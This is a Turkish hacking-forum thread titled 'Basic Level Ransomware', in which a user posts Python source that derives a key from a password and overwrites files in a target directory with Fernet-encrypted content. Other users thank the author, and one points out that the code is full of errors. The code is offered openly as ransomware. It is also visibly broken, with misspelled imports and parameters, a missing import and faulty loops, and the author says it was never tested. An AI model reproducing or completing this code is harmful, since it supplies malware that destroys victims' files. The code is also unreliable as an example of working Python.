1. Ayyıldız Tim forumu Hariç Hiç Bir şekilde Rütbeli Oldugunu İddaa edenlere inanmayınız..⠀ Ayyıldız Tim Adına Sizden Bilgi Belge TC Kimlik Vb Evrak İsteyenlere Asla Bilgilerinizi Vermeyiniz.

Basit Düzeyde Ransomware

'Python' forumunda CnuxBel tarafından 24 Ocak 2021 tarihinde açılan konu

  1. CnuxBel Guest

    • Guest
    Katılım:
    27 Aralık 2020
    Mesaj:
    181
    Alınan Beğeniler:
    360

    Özel Mesaj
    python3.4.3 ile yazılmıştır tam anlamıyla denemedim birkaç düzeltme yapılması gerekiyor tabiki pip sürümümde sıkıkıntı çıktığı için dbug yapamadım dbug yapıp kullana bilirsiniz


    Kod:
    from cryptography.fernet import fernet
    from cryptography.hazmat.primitives.kdf.scrypt import Scrypt
    from cryptograpth.hazmat.backends import default_backend
    import platform
    import base64
    
    class crypter:
        def __init__(self):
            self.content = True
        
    
        def KeyDriver(self,passwordValue):
            if type(passwordValue) == str:
                passwordValue = passwordValue.encode("utf-8")
                print("[+] conversion succsesful")
            kd_function = Scrypt(
                   salt =b'ABCDEFGHIJKLMNOP',
                   r=8,
                   lenght=32,
                   n=2**14,
                   p=1,
                   backend=defauld_backend()
                    )
            key_drive = kd_function(passwordValue)
            print("[+] kdf crate")
            
            key = base64.urlsafe_b64encode(key_drive)
            print("[+] kdf encoding base64")
            return key
    
        def Encrypt(self,stringChunk, passwordValue=str):
            key = self.KeyDriver(passwordValue)
            print("creating key")
            fernet = Fernet(key)
            chunk = fernet.encrypt(stringChunk)
            
            return chunk
    
        def EncryptFiles(self,fileName:str, passwordValue:str):
            with open(fileName,'rb') as files:
                fileCont = files.read()
                encryptFileContent =self.Encrypt(fileCont,passwordValue)
            
            with open(fileName,'wb') as files:
                files.write(encryptFileContent)
                print("mission complated")
        
    
        def controlling(self):
            if platform.system() == 'Windows':
                print("target is windows")
                for path,ı,files in os.walk(os.getcwd()+"\deneme"):
                    for folders in files :
                        filePath = filePath = path + '\\' + folders
                    
                return filePath
    
    
    
            elif patform.system() == 'Linux':
                print("target is linux ")
                for path,ı,files in os.walk(os.getcwd()+"/deneme"):
                    for folders in files :
                        filePath = filePath = path + '//' + folders
                length = len(files)
                return filePath, length
                
    
            else :
                print("[-] sorry:( ")
                    
        def run(self):
            print("hedef belirleniyor ")
            filePath,length=self.controlling
            print("dosyalar bulundu ")
            password = input("parola giriniz : ")
            for i in range(length):
                self.EncryptFiles(filePath,password)
    
    
    run = crypter()
    while run.content:
        run.run()
            
            
            
    
     
  2. Clashoff Guest

    • Guest
    Katılım:
    27 Ağustos 2020
    Mesaj:
    749
    Alınan Beğeniler:
    2,593

    Özel Mesaj
    Eline sağlık devrem güzel olmuş.
     
    Orion-Pax bunu beğendi.
    • Guest
    Katılım:
    22 Kasım 2020
    Mesaj:
    108
    Alınan Beğeniler:
    390

    Özel Mesaj
    Eline sağlık Devrem.
     
    Orion-Pax bunu beğendi.
  3. CnuxBel Guest

    • Guest
    Katılım:
    27 Aralık 2020
    Mesaj:
    181
    Alınan Beğeniler:
    360

    Özel Mesaj
    sağolun kullanmadan önce dbug yapmayı unutmayın .
     
    Orion-Pax bunu beğendi.
  4. ClaranceB Guest

    • Guest
    Katılım:
    17 Eylül 2018
    Mesaj:
    92
    Alınan Beğeniler:
    178

    Özel Mesaj
    Merhaba, alinti midir, bir de test eden oldu mu?
     
    Orion-Pax bunu beğendi.
  5. CnuxBel Guest

    • Guest
    Katılım:
    27 Aralık 2020
    Mesaj:
    181
    Alınan Beğeniler:
    360

    Özel Mesaj
    alıntı post palaşmıyorum devrem ben program bana ait lakin deneme yapamadım sebebini ve ne yapmanız gerektiğini konuda belirttim
     
    Orion-Pax bunu beğendi.
  6. ClaranceB Guest

    • Guest
    Katılım:
    17 Eylül 2018
    Mesaj:
    92
    Alınan Beğeniler:
    178

    Özel Mesaj
    anladim, eline saglik, dbug olmadan da visual studio ile kodun calisip calismadigini test edip deneyebilirdin.
     
    Orion-Pax bunu beğendi.
  7. ClaranceB Guest

    • Guest
    Katılım:
    17 Eylül 2018
    Mesaj:
    92
    Alınan Beğeniler:
    178

    Özel Mesaj
    [​IMG]
    arada kod bir suru hata dolu
     
    Orion-Pax bunu beğendi.
  8. ClaranceB Guest

    • Guest
    Katılım:
    17 Eylül 2018
    Mesaj:
    92
    Alınan Beğeniler:
    178

    Özel Mesaj
  9. CnuxBel Guest

    • Guest
    Katılım:
    27 Aralık 2020
    Mesaj:
    181
    Alınan Beğeniler:
    360

    Özel Mesaj
    vs code kullanırken kütüphaneleri download etmemiş sin ilk kısım ın hatası ondan dolayı devrem ayriyeten debug yapmadan kodu kullanma şansın yok vim üstünde yazdım illaki yazım yanlışları var dır fırsat bulursam dbug lı halini paylaşırım
     
    Orion-Pax bunu beğendi.

Bu Sayfayı Paylaş